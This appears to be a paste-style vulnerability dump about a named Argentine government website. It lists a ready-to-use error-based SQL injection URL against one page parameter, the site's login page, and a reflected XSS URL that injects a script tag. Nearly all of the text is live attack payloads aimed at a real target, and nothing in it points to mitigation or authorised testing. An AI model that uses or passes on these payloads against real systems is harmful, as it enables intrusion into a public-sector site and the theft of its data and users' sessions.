http://www.etr.gov.ar (SQL) (XSS)

http://www.etr.gov.ar/lineas/lineastup_nav.php?pageNum_Recordset1=-1%20or%201%3d1%20and%20(select%201%20and%20row(1%2c1)%3e(select%20count(*)%2cconcat(CONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97))%2c0x3a%2cfloor(rand()*2))x%20from%20(select%201%20union%20select%202)a%20group%20by%20x%20limit%201))&totalRows_Recordset1=63

LOGIN

http://www.etr.gov.ar/noticias/index.php

XSS

http://www.etr.gov.ar/files/index.php/%22ns=%22XSS(0x000671)%22%3E%3Cscript%3Ealert(9)%3C/script%3E